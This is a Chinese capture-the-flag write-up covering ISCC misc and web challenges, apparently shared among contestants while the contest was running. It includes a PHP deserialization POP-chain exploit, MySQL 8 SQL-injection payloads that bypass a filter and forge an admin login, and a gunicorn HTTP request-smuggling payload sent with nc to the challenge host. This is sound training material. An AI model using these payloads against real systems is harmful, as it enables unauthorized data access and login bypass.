内部分享!!I-S-C-C,几道 misc 和 web
i s c c 已做的几道题的分享
唔,做题记录吧,i s c c 第一周,同样也参加这个比赛的 uu 可以借鉴一下,切勿外流
misc 单板小将苏翊鸣
这一道题下载附件,里面是一张图片和一个压缩包,然后里面的压缩包是有密码的,所以我们从图片里面获得
明显是一个图片隐写题目,我们用 winhex 打开图片,00 00 01 98 代表图片的高,我们增加图片高度就行了,改成 00 00 06 98
这样隐写内容就出来了,然后进行扫描,得到一串 Unicode 的编码
\u5728\u8fd9\u6b21\u51ac\u5965\u4f1a\u7684\u821e\u53f0\u4e0a\uff0c\u6211\u56fd\u5c0f\u5c06\u82cf\u7fca\u9e23\u65a9\u83b7\u4e00\u91d1\u4e00\u94f6\uff0c\u90a3\u4f60\u77e5\u9053\u6b64\u6b21\u51ac\u5965\u4f1a\u6211\u56fd\u603b\u5171\u83b7\u5f97\u51e0\u679a\u5956\u724c\u5417\uff1f\u53c8\u5206\u522b\u662f\u51e0\u91d1\u51e0\u94f6\u51e0\u94dc\u5462\uff1f
我们进行解密就能得到一串文字
在这次冬奥会的舞台上,我国小将苏翊鸣斩获一金一银,那你知道此次冬奥会我国总共获得几枚奖牌吗?又分别是几金几银几铜呢?
经搜索为 15 9 4 2,所以压缩包密码为 15942,解压即得 flag
misc 藏在星空中的诗
打开压缩包,里面有一个 psd 和一个 txt 和一个压缩包,我们打开用 ps 打开 psd,发现不透明度有问题,我们调成 100%
就可以看到一个五角星
顺序是 13524
我们看到 poem.txt 文件里面的这些标志
1:☆✪٭☪✲
2:✡?⍟⍟✸
3:🌠⍟🌟✡?
4:??✪?⚝
5:✪?⍣☆?
按顺序排列拼接就是压缩包的密码
解压压缩包后是一个表格,里面是对应的英文字母
为防止错看,一个一个的复制去表格里面查找就可以得到 flag。(顺序是 12345,即逐行)
web1 冬奥会
代码如下
<?php
show_source(__FILE__);
$Step1=False;
$Step2=False;
$info=(array)json_decode(@$_GET['Information']);
if(is_array($info)){
var_dump($info);
is_numeric(@$info["year"])?die("Sorry~"):NULL;
if(@$info["year"]){
($info["year"]=2022)?$Step1=True:NULL;
}
if(is_array(@$info["items"])){
if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
$status = array_search("skiing", $info["items"]);
$status===false?die("Sorry~"):NULL;
foreach($info["items"] as $key=>$val){
$val==="skiing"?die("Sorry~"):NULL;
}
$Step2=True;
}
}
if($Step1 && $Step2){
include "2022flag.php";echo $flag;
}
?> array(0) { }
我们根据审计可知需要我们构造 josn 然后 get 传参,需要绕过的地方:1.is_numeric()对 year 的过滤,这里我们用 2022a 绕过。2.is_array 那里要求我们 items[1] 必须为数组,并且 items 的空间为 3。4.array_search 的绕过,相当于弱比较,我们直接赋值为 0,即可绕过
这样 step1 和 step2 都是 true,那么就正常执行了
payload:{"year":"2022a","items":["0",[],0]}
得到 flag
web3 pop2022
代码如下
Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
一道 pop 链反序列化的题,无语了,和我前两天博客写的一模一样,有兴趣的可以看一下我上一个 blog,这里我就直接写脚本了
<?php
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Make_a_Change{
public $effort;
}
$a=new Road_is_long();
$a->page=new Road_is_long();
$a->page->string=new Make_a_Change();
$a->page->string->effort=new Try_Work_Hard();
echo urlencode(serialize($a));
?>
运行后的代码传参就得到了 base64 编码,解码可得 flag
web4easy-sql
拿到题目,是一道 SQL 注入类型的题目,并且 id get 传参
哎,很烦,上去就是一顿测试
id=1 and 1=1 有回显
id=1 and 1=2 没回显,初步判断为数值型注入
id=1 order by 3 有回显
id=1 order by 4 无回显,所以字段数为3
然后我想着直接union select联合查询一波带走
没想到,select一直过不去。。。。怎么都不行,我就崩溃了,后来直接在群里面问大佬了,感谢曾师傅的指点!
在曾师傅指点后,了解到是要利用mysql8的特性去搞。
立马去学习了一手
mysql8 的特性
有个新功能
table,和 select 有类似的功能
我在虚拟机里面的 windows 那里重新下了个 mysql 8.0.27 版本的
测试了一下
相当于把表内所有信息都暴露出来了,根据题目信息让找某某某的 email
还有一个特性就是 values
如同 union select 1,2,3 一般,可以构造表信息
比如
根据特性 1 构造一下 payload
?id=1 and 1=2 union table emails limit 7,1
得到一个 zip,我们输在 url 后面,下载解压,发现里面存着 index.php 源码
<?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
if ($conn->connect_errno) {
die("Connection failed: " . $conn->connect_errno);
}
echo "Where is the database?"."<br>";
echo "try ?id";
function sqlWaf($s)
{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
if (preg_match($filter,$s))
return False;
return True;
}
if (isset($_GET['id']))
{
$id = $_GET['id'];
$sql = "select * from users where id=$id";
$safe = preg_match('/select/is', $id);
if($safe!==0)
die("No select!");
$result = mysqli_query($conn, $sql);
if ($result)
{
$row = mysqli_fetch_array($result);
echo "<h3>" . $row['username'] . "</h3><br>";
echo "<h3>" . $row['passwd'] . "</h3>";
}
else
die('<br>Error!');
}
if (isset($_POST['username']) && isset($_POST['passwd']))
{
$username = strval($_POST['username']);
$passwd = strval($_POST['passwd']);
if ( !sqlWaf($passwd) )
die('damn hacker');
$sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ( $row['username'] === 'admin' && $row['passwd'] )
{
if ($row['passwd'] == $passwd)
{
die($flag);
} else {
die("username or passwd wrong, are you admin?");
}
} else {
die("wrong user");
}
} else {
die("user not exist or wrong passwd");
}
}
mysqli_close($conn);
?>
看了代码。。。。怪不得 select 不行
审计代码,发现要 post 传参 username 和 passwd 到数据库搜索,将结果进行比较判断,如果符合 if 条件就输出 flag。
思路很明确了:1. 有查询结果 2. 查询结果中的 username=admin 并且 passwd=passwd
我们根据 mysql8 的另一个特性 values
构建表信息 xx admin xx
这样就会令查询得到的信息 username=admin
我们列出 payload:post 传参
username=0' union values row("5","admin","pp")%23&passwd=pp
即可得到 flag
我们在自己的 mysql 上面测试一下
确实和我们的猜想一样,有查询结果,且构造出来 username 和 passwd 符合代码逻辑
web5 让我康康!
打开题目发现让我们 try 搜索一下 flag,得到 fl4g
我们输入到 url 发现有 waf,是 403 forbidden 的错误提示
我们 F12 发现响应头有
server:gunicorn/20.0 的信息
察觉到漏洞应该就在这里,上网搜索了解,发现 gunicorn 在 20.0.4 版本及以下都存在 http 走私漏洞
简单来说,如果 http 请求头里面含有 Sec-Websocket-Key: 1,那么就会进行特殊解析。我们需要读 /fl4g, 所以我们这样构建 poc
echo -en "GET / HTTP/1.1\r\nHost: localhost \r\nContent-Length: 90\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: localhost \r\nsecr3t_ip:127.0.0.1\r\nContent-Length: 55\r\n\r\nGET / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020
在 Linux 上面运行,就能得到 flag 了